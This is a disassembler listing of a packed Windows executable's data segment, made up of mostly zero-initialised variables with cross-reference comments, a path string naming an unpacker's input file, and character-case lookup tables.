dword_4E09C0	dd 0			; DATA XREF: sub_408F54+C01w
					; sub_409B6C+28Cr
		dd 2 dup(0)
dword_4E09CC	dd 5 dup(0)		; DATA XREF: sub_40A019+32o
dword_4E09E0	dd 2 dup(0)		; DATA XREF: .nsp0:00409E74o
dword_4E09E8	dd 0			; DATA XREF: .nsp0:0040A356o
dword_4E09EC	dd 0			; DATA XREF: sub_40A44E+33o
dword_4E09F0	dd 0			; DATA XREF: sub_40A44E+63o
byte_4E09F4	db 0			; DATA XREF: sub_40A6F6+6Ar
					; sub_40A6F6+98w
		align 10h
dword_4E0A00	dd 0			; DATA XREF: sub_40B155+18r
					; sub_40B6EA+92w ...
dword_4E0A04	dd 0			; DATA XREF: sub_40B9F0+4Dr
					; sub_40BC04+D9w ...
		dd 7FEh	dup(0)
dword_4E2A00	dd 6 dup(0)		; DATA XREF: sub_40B9F0+CFo
					; sub_40B9F0+138o ...
dword_4E2A18	dd 0			; DATA XREF: sub_40B1CC+2C4w
					; sub_40B1CC+348o
dword_4E2A1C	dd 0			; DATA XREF: sub_40B1CC+33Ew
					; sub_40B1CC+35Ar
dword_4E2A20	dd 0			; DATA XREF: sub_40B1CC+2CFw
dword_4E2A24	dd 0			; DATA XREF: sub_40B1CC+2B9w
					; sub_40B1CC:loc_40B4E1r
dword_4E2A28	dd 20h dup(0)		; DATA XREF: sub_40B1CC+2E2o
					; sub_40B1CC+302o
dword_4E2AA8	dd 0			; DATA XREF: sub_40B1CC+2D5w
dword_4E2AAC	dd 0			; DATA XREF: sub_40B1CC+2EFw
					; sub_40B1CC+30Fw
dword_4E2AB0	dd 0			; DATA XREF: sub_40B1CC:loc_40B53Cr
		align 8
dword_4E2AB8	dd 0			; DATA XREF: sub_40B1CC+82w
					; sub_40B1CC+101o
dword_4E2ABC	dd 41h dup(0)		; DATA XREF: sub_40B1CC+41o
dword_4E2BC0	dd 41h dup(0)		; DATA XREF: sub_40B1CC+69o
dword_4E2CC4	dd 0			; DATA XREF: sub_40B1CC+F7w
					; sub_40B1CC+113r
dword_4E2CC8	dd 0			; DATA XREF: sub_40B1CC+52w
dword_4E2CCC	dd 0			; DATA XREF: sub_40B1CC+4Dw
					; sub_40B1CC+D4r
dword_4E2CD0	dd 20h dup(0)		; DATA XREF: sub_40B1CC+9Ao
					; sub_40B1CC+BAo
dword_4E2D50	dd 0			; DATA XREF: sub_40B1CC+8Fw
dword_4E2D54	dd 0			; DATA XREF: sub_40B1CC+A7w
					; sub_40B1CC+C7w
dword_4E2D58	dd 0			; DATA XREF: sub_40B1CC:loc_40B2F5r
		align 10h
dword_4E2D60	dd 0			; DATA XREF: sub_40B1CC+1A5w
					; sub_40B1CC+225o
dword_4E2D64	dd 41h dup(0)		; DATA XREF: sub_40B1CC+167o
dword_4E2E68	dd 41h dup(0)		; DATA XREF: sub_40B1CC+18Co
dword_4E2F6C	dd 0			; DATA XREF: sub_40B1CC+21Bw
					; sub_40B1CC+237r
dword_4E2F70	dd 0			; DATA XREF: sub_40B1CC+17Aw
dword_4E2F74	dd 0			; DATA XREF: sub_40B1CC+175w
					; sub_40B1CC+1F8r
dword_4E2F78	dd 20h dup(0)		; DATA XREF: sub_40B1CC+1BEo
					; sub_40B1CC+1DEo
dword_4E2FF8	dd 0			; DATA XREF: sub_40B1CC+1B1w
dword_4E2FFC	dd 0			; DATA XREF: sub_40B1CC+1CBw
					; sub_40B1CC+1EBw
dword_4E3000	dd 0			; DATA XREF: sub_40B1CC:loc_40B419r
		align 8
dword_4E3008	dd 0			; DATA XREF: sub_40B1CC+417w
					; sub_40B1CC+470o
dword_4E300C	dd 0A2h	dup(0)		; DATA XREF: sub_40B1CC+405o
dword_4E3294	dd 41h dup(0)		; DATA XREF: sub_40B1CC+3CFo
dword_4E3398	dd 0			; DATA XREF: sub_40B1CC+3FCw
					; sub_40B1CC+423r
		align 10h
dword_4E33A0	dd 0			; DATA XREF: sub_40B1CC+466w
					; sub_40B1CC+482r
dword_4E33A4	dd 0			; DATA XREF: sub_40B1CC+429w
dword_4E33A8	dd 0			; DATA XREF: sub_40B1CC+436w
dword_4E33AC	dd 0			; DATA XREF: sub_40B1CC+3F6w
		dd 0
dword_4E33B4	dd 0			; DATA XREF: sub_40B1CC:loc_40B664r
		dd 0
dword_4E33BC	dd 0			; DATA XREF: sub_40AE1F+Er
					; sub_40AE1F+31r ...
dword_4E33C0	dd 0			; DATA XREF: sub_40AE1F+9r
					; sub_40AE1F+25r ...
dword_4E33C4	dd 82h dup(0)		; DATA XREF: sub_40BE63+8Do
dword_4E35CC	dd 2 dup(0)		; DATA XREF: sub_40C7FA+68o
dword_4E35D4	dd 0			; DATA XREF: sub_40C29A+13o
dword_4E35D8	dd 0			; DATA XREF: sub_40CAE9+10o
dword_4E35DC	dd 0			; DATA XREF: sub_40D370+8w
					; sub_40D46C+2D6o
		dd 0
dword_4E35E4	dd 0			; DATA XREF: sub_40D46C+64o
dword_4E35E8	dd 0			; DATA XREF: sub_40D46C+69o
dword_4E35EC	dd 3 dup(0)		; DATA XREF: sub_40D46C+20Co
dword_4E35F8	dd 0			; DATA XREF: .nsp0:0040DE4Bo
dword_4E35FC	dd 0			; DATA XREF: sub_40DFCC+1Fr
					; sub_40E017+BCo ...
dword_4E3600	dd 0			; DATA XREF: sub_40E017+B7o
					; sub_40E017+DAr ...
dword_4E3604	dd 0			; DATA XREF: sub_40E017+9Ao
					; sub_40E017+CFr ...
dword_4E3608	dd 0			; DATA XREF: sub_40DF89+35r
					; sub_40E017+95o ...
dword_4E360C	dd 0			; DATA XREF: sub_40DF89+17r
					; sub_40DFCC+3Dr ...
		dd 0
dword_4E3614	dd 0			; DATA XREF: sub_40B1CC+2AEr
					; sub_40E1EC+10w ...
		dd 0
dword_4E361C	dd 0			; DATA XREF: sub_40AE8A+1Br
					; sub_40E203+27Cw
dword_4E3620	dd 0			; DATA XREF: sub_40EAD9+2Aw
					; sub_40EAD9+51r ...
		align 10h
dword_4E3630	dd 3 dup(0)		; DATA XREF: sub_40FBF0+74o
dword_4E363C	dd 0			; DATA XREF: sub_4102D1+146r
		dd 0
dword_4E3644	dd 2 dup(0)		; DATA XREF: sub_4102D1+139o
byte_4E364C	db 0			; DATA XREF: sub_4112A8+1EFr
		align 10h
dword_4E3650	dd 0			; DATA XREF: sub_411725+4w
					; sub_411725+9o
		align 8
byte_4E3658	db 0			; DATA XREF: sub_41226E+1D3w
					; sub_41226E+2D2o
		align 2
word_4E365A	dw 0			; DATA XREF: sub_41226E+1E3w
word_4E365C	dw 0			; DATA XREF: sub_41226E+1E9w
word_4E365E	dw 0			; DATA XREF: sub_41226E+1F0w
byte_4E3660	db 0			; DATA XREF: sub_41226E+1F7w
byte_4E3661	db 0			; DATA XREF: sub_41226E+1FEw
word_4E3662	dw 0			; DATA XREF: sub_41226E+204w
dword_4E3664	dd 0			; DATA XREF: sub_41226E+234w
					; sub_41226E+250w
dword_4E3668	dd 0			; DATA XREF: sub_41226E+258w
byte_4E366C	db 0			; DATA XREF: sub_41226E+26Aw
byte_4E366D	db 0			; DATA XREF: sub_41226E+27Dw
word_4E366E	dw 0			; DATA XREF: sub_41226E+295w
word_4E3670	dw 0			; DATA XREF: sub_41226E+2A4w
word_4E3672	dw 0			; DATA XREF: sub_41226E+29Cw
dword_4E3674	dd 101h	dup(0)		; DATA XREF: sub_41226E+2B9o
dword_4E3A78	dd 80h dup(0)		; DATA XREF: sub_401CC1+29BAo
					; sub_401CC1:loc_40472Ao ...
byte_4E3C78	db 0			; DATA XREF: sub_413B08+19Fw
					; sub_413B08+278o
		align 2
word_4E3C7A	dw 0			; DATA XREF: sub_413B08+1ACw
word_4E3C7C	dw 0			; DATA XREF: sub_413B08+1B6w
word_4E3C7E	dw 0			; DATA XREF: sub_413B08+1BFw
byte_4E3C80	db 0			; DATA XREF: sub_413B08+1C6w
byte_4E3C81	db 0			; DATA XREF: sub_413B08+1CDw
word_4E3C82	dw 0			; DATA XREF: sub_413B08+1D4w
dword_4E3C84	dd 0			; DATA XREF: sub_413B08+1E1w
dword_4E3C88	dd 0			; DATA XREF: sub_413B08+1E9w
word_4E3C8C	dw 0			; DATA XREF: sub_413B08+242w
word_4E3C8E	dw 0			; DATA XREF: sub_413B08+22Aw
word_4E3C90	dw 0			; DATA XREF: sub_413B08+254w
word_4E3C92	dw 0			; DATA XREF: sub_413B08+1F5w
dword_4E3C94	dd 101h	dup(0)		; DATA XREF: sub_413B08+263o
dword_4E4098	dd 0			; DATA XREF: sub_401CC1+16A4w
					; sub_401CC1+29B2r ...
		dd 3 dup(0)
byte_4E40A8	db 0			; DATA XREF: sub_413FFA+244o
					; sub_413FFA+253w ...
byte_4E40A9	db 0			; DATA XREF: sub_413FFA+267w
word_4E40AA	dw 0			; DATA XREF: sub_413FFA+298w
word_4E40AC	dw 0			; DATA XREF: sub_413FFA+27Fw
					; sub_413FFA:loc_4143C0w
word_4E40AE	dw 0			; DATA XREF: sub_413FFA+29Ew
byte_4E40B0	db 0			; DATA XREF: sub_413FFA+28Bw
byte_4E40B1	db 0			; DATA XREF: sub_413FFA+260w
word_4E40B2	dw 0			; DATA XREF: sub_413FFA+3E6w
					; sub_413FFA+410w
dword_4E40B4	dd 0			; DATA XREF: sub_413FFA:loc_4142B7w
					; sub_413FFA+38Er
dword_4E40B8	dd 0			; DATA XREF: sub_413FFA+2CAw
word_4E40BC	dw 0			; DATA XREF: sub_413FFA+388w
					; sub_413FFA+3DCo
word_4E40BE	dw 0			; DATA XREF: sub_413FFA+329w
					; sub_413FFA+34Er ...
dword_4E40C0	dd 0			; DATA XREF: sub_413FFA+300w
					; sub_413FFA+3CDw
dword_4E40C4	dd 0			; DATA XREF: sub_413FFA+31Cw
					; sub_413FFA+39Fw ...
byte_4E40C8	db 0			; DATA XREF: sub_413FFA+305r
					; sub_413FFA+313w
byte_4E40C9	db 0			; DATA XREF: sub_413FFA+2CFw
					; sub_413FFA+398w ...
word_4E40CA	dw 0			; DATA XREF: sub_413FFA+2DDw
word_4E40CC	dw 0			; DATA XREF: sub_413FFA+3EDw
					; sub_413FFA+41Ew
word_4E40CE	dw 0			; DATA XREF: sub_413FFA+322w
word_4E40D0	dw 0			; DATA XREF: sub_413FFA+354w
					; sub_413FFA+426o
word_4E40D2	dw 0			; DATA XREF: sub_413FFA+363w
					; sub_413FFA+3FDw
dword_4E40D4	dd 0			; DATA XREF: sub_413FFA+35Dw
		align 10h
dword_4E40E0	dd 0			; DATA XREF: sub_413FFA+393w
					; sub_413FFA+40Bo
dword_4E40E4	dd 0			; DATA XREF: sub_413FFA+32Fw
byte_4E40E8	db 0			; DATA XREF: sub_413FFA+335w
byte_4E40E9	db 0			; DATA XREF: sub_413FFA+33Bw
word_4E40EA	dw 0			; DATA XREF: sub_413FFA+348w
dword_4E40EC	dd 7 dup(0)		; DATA XREF: sub_413FFA+3E1o
dword_4E4108	dd 0			; DATA XREF: sub_413FFA+30w
					; sub_413FFA+42Fr
dword_4E410C	dd 0Dh dup(0)		; DATA XREF: sub_413FFA+1C0o
					; sub_413FFA+472o
		db 3 dup(0)
byte_4E4143	db 0			; DATA XREF: .nsp0:0045206Co
		dd 2 dup(0)
dword_4E414C	dd 0			; DATA XREF: .nsp0:off_451070o
dword_4E4150	dd 0F0h	dup(0)		; DATA XREF: .nsp0:00452148o
dword_4E4510	dd 10Dh	dup(0)		; DATA XREF: sub_41458A+1Do
					; .nsp0:00414674o ...
		db 2 dup(0)
word_4E4946	dw 0			; DATA XREF: .nsp0:00451EACo
					; .nsp0:00451EB4o
		dd 27Fh	dup(0)
		db 0
byte_4E5345	db 3 dup(0)		; DATA XREF: .nsp0:00452038o
		dd 0C72h dup(0)
dword_4E8510	dd 18h dup(0)		; DATA XREF: sub_41458A+13o
					; .nsp0:004146BBo ...
dword_4E8570	dd 0			; DATA XREF: sub_414A1D+431o
dword_4E8574	dd 0Fh dup(0)		; DATA XREF: sub_414F46+Fo
dword_4E85B0	dd 0			; DATA XREF: sub_415497+22w
					; sub_415497:loc_415619w ...
dword_4E85B4	dd 0			; DATA XREF: sub_401CC1+371Ao
					; sub_415357+12o ...
		dd 0
dword_4E85BC	dd 0			; DATA XREF: sub_415497+1Cr
					; sub_415639+3Ar
		dd 7Fh dup(0)
dword_4E87BC	dd 0			; DATA XREF: sub_415497+28r
					; sub_415639+4Aw
		dd 1944h dup(0)
dword_4EECD0	dd 0			; DATA XREF: sub_415639+23o
dword_4EECD4	dd 0			; DATA XREF: sub_401CC1+373Eo
					; sub_415357+3Co ...
dword_4EECD8	dd 0			; DATA XREF: .nsp0:0044EBE0o
dword_4EECDC	dd 0			; DATA XREF: .nsp0:0044EBE8o
dword_4EECE0	dd 0			; DATA XREF: .nsp0:0044EBECo
dword_4EECE4	dd 0			; DATA XREF: .nsp0:0044EBF0o
dword_4EECE8	dd 0			; DATA XREF: .nsp0:0044EBF4o
dword_4EECEC	dd 0			; DATA XREF: .nsp0:0044EC10o
dword_4EECF0	dd 0			; DATA XREF: .nsp0:0044EC18o
dword_4EECF4	dd 0			; DATA XREF: .nsp0:0044EC1Co
dword_4EECF8	dd 0			; DATA XREF: .nsp0:0044EC28o
dword_4EECFC	dd 0			; DATA XREF: .nsp0:0044EC2Co
dword_4EED00	dd 0			; DATA XREF: .nsp0:0044EC34o
dword_4EED04	dd 81h dup(0)		; DATA XREF: sub_415ECC+6Ao
dword_4EEF08	dd 0			; DATA XREF: sub_41615A+E9o
dword_4EEF0C	dd 17h dup(0)		; DATA XREF: sub_41671B:loc_416838o
					; sub_41671B+131o ...
dword_4EEF68	dd 80h dup(0)		; DATA XREF: sub_4174B4+7Co
					; sub_4174B4+A5o
dword_4EF168	dd 0			; DATA XREF: sub_416A95+45w
					; sub_416A95+4Dr ...
dword_4EF16C	dd 17h dup(0)		; DATA XREF: sub_417380:loc_4174A2o
					; sub_417380+12Do
dword_4EF1C8	dd 80h dup(0)		; DATA XREF: sub_4169D6+4Bo
					; sub_4169D6+7Do ...
byte_4EF3C8	db 0			; DATA XREF: sub_416A95+29r
					; sub_416A95+34w
		align 4
dword_4EF3CC	dd 80h dup(0)		; DATA XREF: sub_416CEC+61o
					; sub_416CEC+88o ...
dword_4EF5CC	dd 81h dup(0)		; DATA XREF: sub_4165F2+33o
					; sub_4165F2+50o ...
dword_4EF7D0	dd 0			; DATA XREF: sub_417955:loc_417976r
					; sub_417A44+54r ...
dword_4EF7D4	dd 0			; DATA XREF: sub_417955r
					; sub_417A44+37r ...
dword_4EF7D8	dd 0			; DATA XREF: sub_417985+1Ar
					; sub_417B99+83o
dword_4EF7DC	dd 0			; DATA XREF: sub_417955:loc_417969r
					; sub_417B99+11Bw
dword_4EF7E0	dd 0Dh dup(0)		; DATA XREF: sub_417A44+13o
					; sub_417B99:loc_417CDAo
dword_4EF814	dd 0			; DATA XREF: sub_417A44+CDr
					; sub_417A44+ECr ...
		dd 0
dword_4EF81C	dd 0			; DATA XREF: sub_4179BD+9o
dword_4EF820	dd 0			; DATA XREF: sub_417B99+DFo
dword_4EF824	dd 0			; DATA XREF: sub_417B99:loc_417CD5o
dword_4EF828	dd 0Eh dup(0)		; DATA XREF: sub_4187BE+47o
dword_4EF860	dd 0			; DATA XREF: sub_41897B+13o
dword_4EF864	dd 9D0F60h		; DATA XREF: sub_418FC0+262w
					; sub_4193C0:loc_4197FBr ...
dword_4EF868	dd 1545h		; DATA XREF: sub_418FC0:loc_4191D3r
					; sub_418FC0+21Cw ...
dword_4EF86C	dd 956660h		; DATA XREF: sub_418FC0:loc_419209r
					; sub_418FC0+252r ...
dword_4EF870	dd 118Ah		; DATA XREF: sub_418FC0+222r
					; sub_418FC0+22Aw ...
dword_4EF874	dd 118Ah		; DATA XREF: sub_418FC0+235r
					; sub_418FC0+243w ...
dword_4EF878	dd 0			; DATA XREF: sub_42C3D0+217r
dword_4EF87C	dd 0A28h		; DATA XREF: sub_41A4F0:loc_41A546r
					; .nsp0:0041E9ECw ...
dword_4EF880	dd 501h			; DATA XREF: .nsp0:0041EA24w
dword_4EF884	dd 5			; DATA XREF: .nsp0:0041EA0Fw
					; .nsp0:0041EA15r
dword_4EF888	dd 1			; DATA XREF: .nsp0:0041E9FEw
					; .nsp0:0041EA1Er
dword_4EF88C	dd 1			; DATA XREF: sub_40141B:loc_40170Dr
					; sub_429EE0+C6w
dword_4EF890	dd 9D0B00h		; DATA XREF: sub_40141B+2FBr
					; sub_40141B+31Br ...
		align 8
dword_4EF898	dd 9D0A60h		; DATA XREF: sub_429D90+7Bw
					; sub_429D90+81r ...
dword_4EF89C	dd 0			; DATA XREF: sub_434E10+49r
dword_4EF8A0	dd 0			; DATA XREF: sub_4323B0+24r
					; sub_4345C0+6r ...
		align 8
off_4EF8A8	dd offset aCM_unpackerPac ; DATA XREF: sub_429EE0+26w
					; sub_429EE0+3Cr
					; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_4EF8B0	db 0			; DATA XREF: sub_41B600+30w
					; sub_41ECC0+8r
		align 4
dword_4EF8B4	dd 0			; DATA XREF: sub_41B600:loc_41B623w
dword_4EF8B8	dd 0			; DATA XREF: sub_41B600+9r
					; sub_41B600:loc_41B6CBw
dword_4EF8BC	dd 0			; DATA XREF: sub_41B600+95r
					; sub_41B600+AFw
dword_4EF8C0	dd 0			; DATA XREF: .nsp0:0041CEA4r
					; .nsp0:0041CEAFw
dword_4EF8C4	dd 0			; DATA XREF: sub_41CE10+10w
dword_4EF8C8	dd 0			; DATA XREF: sub_41DA60+88r
					; sub_41DA60+F8w
		align 10h
dword_4EF8D0	dd 0			; DATA XREF: sub_41DA60+7Dr
					; sub_41DA60+100w ...
byte_4EF8D4	db 2 dup(0)		; DATA XREF: sub_41DA60+109w
word_4EF8D6	dw 0			; DATA XREF: sub_41DA60+52r
dword_4EF8D8	dd 0			; DATA XREF: sub_41DA60+3Dr
					; sub_41DA60+112w ...
dword_4EF8DC	dd 0			; DATA XREF: sub_41DA60+11Aw
dword_4EF8E0	dd 0			; DATA XREF: .nsp0:0041EA83w
					; sub_429D90+1Br ...
		align 8
dword_4EF8E8	dd 0			; DATA XREF: sub_41EB30+3r
					; sub_41EB60+3r ...
dword_4EF8EC	dd 0			; DATA XREF: sub_4225E0:loc_4228A5r
					; sub_4225E0+2CEw ...
dword_4EF8F0	dd 0			; DATA XREF: sub_41EED0+93r
					; sub_41EED0+C8w ...
dword_4EF8F4	dd 0			; DATA XREF: sub_418ED0+9r
					; sub_418EF0+Fr ...
dword_4EF8F8	dd 0			; DATA XREF: .nsp0:0041F9FEr
					; .nsp0:0041FA09w ...
		align 10h
dword_4EF900	dd 143F28h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .nsp0:off_4513D4o
dword_4EF918	dd 143EB0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .nsp0:off_451414o
dword_4EF930	dd 143F00h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .nsp0:off_4513F4o
dword_4EF948	dd 143ED8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .nsp0:off_451404o
dword_4EF960	dd 1			; DATA XREF: sub_423EC0:loc_4241D2r
					; sub_424210+3w ...
dword_4EF964	dd 0			; DATA XREF: sub_424AA0+A6r
					; sub_424AA0+C9w ...
		dd 0
dword_4EF96C	dd 0			; DATA XREF: sub_41DBF0+Co
					; sub_428C90+82r ...
		dd 0
dword_4EF974	dd 0			; DATA XREF: sub_41E550+4r
					; sub_41E5F0+6r ...
dword_4EF978	dd 0			; DATA XREF: sub_42F510+4r
dword_4EF97C	dd 0			; DATA XREF: sub_42F1E0+18r
dword_4EF980	dd 0			; DATA XREF: sub_42E860+4r
dword_4EF984	dd 0			; DATA XREF: sub_41E7D0+B9r
					; sub_41E7D0+16Cr ...
dword_4EF988	dd 0			; DATA XREF: sub_428C90+11Fw
dword_4EF98C	dd 0			; DATA XREF: sub_428F30+C7o
					; sub_428F30+140o
word_4EF990	dw 0			; DATA XREF: sub_428F30+E8r
		align 4
dword_4EF994	dd 0			; DATA XREF: sub_428F30+EFw
					; sub_428F30+159o
dword_4EF998	dd 1			; DATA XREF: sub_429750+26r
					; sub_429750+4Bw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_429EE0+19o
					; sub_429EE0+26o ...
		align 4
		dd 3Ah dup(0)
dword_4EFAA0	dd 1			; DATA XREF: sub_42A3F0+14r
					; sub_42A3F0+2Cw ...
dword_4EFAA4	dd 0			; DATA XREF: sub_42AAC0+2Br
					; sub_42AAC0+34r
dword_4EFAA8	dd 0			; DATA XREF: .nsp0:loc_42B1A6r
					; .nsp0:0042B1B2w ...
dword_4EFAAC	dd 0			; DATA XREF: .nsp0:loc_42B1BAr
					; .nsp0:0042B1C5w ...
dword_4EFAB0	dd 0			; DATA XREF: .nsp0:loc_42B1CDr
					; .nsp0:0042B1D9w ...
dword_4EFAB4	dd 0			; DATA XREF: .nsp0:loc_42B1E0r
					; .nsp0:0042B1ECw ...
dword_4EFAB8	dd 0			; DATA XREF: .nsp0:loc_42B13Ar
					; .nsp0:0042B155w
dword_4EFABC	dd 0			; DATA XREF: sub_42B680+Dr
					; sub_42B680+39w ...
dword_4EFAC0	dd 0			; DATA XREF: sub_42B680+5Aw
					; sub_42B680:loc_42B6F3r ...
dword_4EFAC4	dd 0			; DATA XREF: sub_42B680+6Ew
					; sub_42B680+8Br ...
dword_4EFAC8	dd 1			; DATA XREF: sub_42C100+26r
					; sub_42C100+46w ...
dword_4EFACC	dd 0			; DATA XREF: sub_4225E0+9r
dword_4EFAD0	dd 77C26E79h		; DATA XREF: sub_42DDD0:loc_42DDFEr
					; sub_42DDD0+37r ...
		align 8
dword_4EFAD8	dd 0			; DATA XREF: sub_42DF80+17w
					; sub_42DF80+6Dw ...
		align 10h
dword_4EFAE0	dd 0			; DATA XREF: sub_42DF80+59o
					; sub_42DF80+77r
dword_4EFAE4	dd 10h dup(0)		; DATA XREF: sub_42DF80+103o
word_4EFB24	dw 0			; DATA XREF: sub_42E360+FCr
word_4EFB26	dw 0			; DATA XREF: sub_42DF80+88r
					; sub_42E360+145r ...
word_4EFB28	dw 0			; DATA XREF: sub_42E360+132r
word_4EFB2A	dw 0			; DATA XREF: sub_42E360+13Br
					; sub_42E360+18Br
word_4EFB2C	dw 0			; DATA XREF: sub_42E360+126r
					; sub_42E360+181r
word_4EFB2E	dw 0			; DATA XREF: sub_42E360+11Cr
					; sub_42E360+177r
word_4EFB30	dw 0			; DATA XREF: sub_42E360+113r
					; sub_42E360+16Er
word_4EFB32	dw 0			; DATA XREF: sub_42E360+109r
					; sub_42E360+164r
dword_4EFB34	dd 0			; DATA XREF: sub_42DF80+93r
					; sub_42DF80+CEr
dword_4EFB38	dd 10h dup(0)		; DATA XREF: sub_42DF80+149o
word_4EFB78	dw 0			; DATA XREF: sub_42E360+43r
word_4EFB7A	dw 0			; DATA XREF: sub_42DF80+ABr
					; sub_42E360+8Cr ...
word_4EFB7C	dw 0			; DATA XREF: sub_42E360+79r
word_4EFB7E	dw 0			; DATA XREF: sub_42E360+82r
					; sub_42E360+D2r
word_4EFB80	dw 0			; DATA XREF: sub_42E360+6Dr
					; sub_42E360+C8r
word_4EFB82	dw 0			; DATA XREF: sub_42E360+63r
					; sub_42E360+BEr
word_4EFB84	dw 0			; DATA XREF: sub_42E360+5Ar
					; sub_42E360+B5r
word_4EFB86	dw 0			; DATA XREF: sub_42E360+50r
					; sub_42E360+ABr
dword_4EFB88	dd 0			; DATA XREF: sub_42DF80+B6r
					; sub_42DF80+C9r
dword_4EFB8C	dd 0			; DATA XREF: sub_42DF80+18Dr
					; sub_42DF80+196r ...
dword_4EFB90	dd 0			; DATA XREF: sub_42DF20+3r
					; sub_42DF20+16r ...
dword_4EFB94	dd 0			; DATA XREF: sub_42E860+75r
					; sub_42E860+86r ...
dword_4EFB98	dd 0			; DATA XREF: sub_42F1E0+25o
					; sub_42F1E0+93r ...
dword_4EFB9C	dd 0			; DATA XREF: sub_42F1E0+42o
					; sub_42F1E0+A3r ...
dword_4EFBA0	dd 0			; DATA XREF: sub_42F1E0+5Fo
					; sub_42F1E0+7Cr ...
dword_4EFBA4	dd 0			; DATA XREF: sub_42F510+A0r
					; sub_42F510+B1r ...
dword_4EFBA8	dd 0			; DATA XREF: sub_42F970+2AAr
					; sub_42F970+2B5r ...
dword_4EFBAC	dd 0			; DATA XREF: sub_42F970+2CCr
					; sub_42F970+2D7r ...
dword_4EFBB0	dd 3 dup(0)		; DATA XREF: sub_428C90+94o
					; sub_428C90+F3o
word_4EFBBC	dw 0			; DATA XREF: sub_42F970+36r
		align 10h
		dd 0
word_4EFBC4	dw 0			; DATA XREF: sub_42F640+Fr
		align 4
		db 2 dup(0)
word_4EFBCA	dw 0			; DATA XREF: sub_42F1E0+Fr
		db 2 dup(0)
word_4EFBCE	dw 0			; DATA XREF: sub_42E940+Fr
word_4EFBD0	dw 0			; DATA XREF: sub_42E940+1Ar
		align 4
dword_4EFBD4	dd 0			; DATA XREF: sub_42FDA0+155r
					; sub_42FDA0+176r ...
dword_4EFBD8	dd 0			; DATA XREF: sub_430030+37w
					; sub_4300F0+1Br ...
dword_4EFBDC	dd 0			; DATA XREF: sub_430030+6Ew
					; sub_4300F0+101r ...
dword_4EFBE0	dd 0			; DATA XREF: sub_430030+1Aw
					; sub_430030+47r ...
dword_4EFBE4	dd 0			; DATA XREF: sub_42FDA0+45w
					; sub_42FDA0+4Br ...
dword_4EFBE8	dd 0			; DATA XREF: sub_42FDA0+7Aw
					; sub_42FDA0+80r ...
dword_4EFBEC	dd 0			; DATA XREF: sub_42FDA0:loc_42FE49w
					; sub_42FDA0:loc_42FEAEr ...
dword_4EFBF0	dd 0			; DATA XREF: sub_42FDA0+182r
					; sub_42FDA0+1CBr ...
dword_4EFBF4	dd 0			; DATA XREF: sub_42FDA0+6r
					; sub_42FDA0+2Cw ...
dword_4EFBF8	dd 0			; DATA XREF: sub_42C3D0:loc_42C42Cr
byte_4EFBFC	db 0			; DATA XREF: sub_4338F0+18Fo
					; sub_4338F0+1F2r ...
		align 10h
		dd 0
dword_4EFC04	dd 0			; DATA XREF: sub_42F8D0+11o
					; .nsp0:off_4526ACo ...
dword_4EFC08	dd 0			; DATA XREF: sub_433B90+26r
					; sub_433B90+46w ...
dword_4EFC0C	dd 0			; DATA XREF: sub_434670+26r
					; sub_434670+41w ...
dword_4EFC10	dd 0			; DATA XREF: sub_434810+26r
					; sub_434810+41w ...
dword_4EFC14	dd 0			; DATA XREF: sub_4349C0+26r
					; sub_4349C0+4Bw ...
byte_4EFC18	db 0			; DATA XREF: sub_40D359r sub_40D359+9w
		align 4
dword_4EFC1C	dd 0			; DATA XREF: sub_432A70+8Fw
					; sub_432A70+A4w ...
dword_4EFC20	dd 0			; DATA XREF: sub_432C00+1C4w
					; sub_432C00+1EDw ...
		dd 7 dup(0)
dword_4EFC40	dd 9561C8h		; DATA XREF: sub_41EB90+EDr
					; sub_41EB90+109r ...
		dd 3Fh dup(0)
dword_4EFD40	dd 20h			; DATA XREF: sub_41F570+7r
					; sub_422100+7r ...
dword_4EFD44	dd 0			; DATA XREF: sub_41DBF0+5Ar
					; sub_41E550+32r ...
dword_4EFD48	dd 0			; DATA XREF: sub_41DBF0:loc_41DC43w
					; sub_41DBF0:loc_41DC57w ...
dword_4EFD4C	dd 4E4h			; DATA XREF: sub_423EC0+22r
					; sub_423EC0+14Aw ...
word_4EFD50	dw 0			; DATA XREF: sub_423EC0+19Aw
					; sub_423EC0+2F3w ...
		align 4
		dd 2 dup(0)
dword_4EFD5C	dd 0			; DATA XREF: sub_423EC0+150w
					; sub_423EC0+2C2w ...
byte_4EFD60	db 0			; DATA XREF: sub_424370+1CEw
					; sub_424370+21Aw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4EFE60	db 0			; DATA XREF: sub_423EC0+ABw
					; sub_423EC0+1F4w ...
byte_4EFE61	db 0			; DATA XREF: sub_41BA10+92r
					; sub_423EC0+129r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4EFF64	dd 0			; DATA XREF: sub_423EC0+169w
					; sub_423EC0+205w ...
dword_4EFF68	dd 10h			; DATA XREF: sub_4201E0+48w
					; sub_420E10+9r ...
dword_4EFF6C	dd 0			; DATA XREF: sub_420300+475r
					; sub_420300+4A4r ...
dword_4EFF70	dd 951E90h		; DATA XREF: sub_4201E0+2Ew
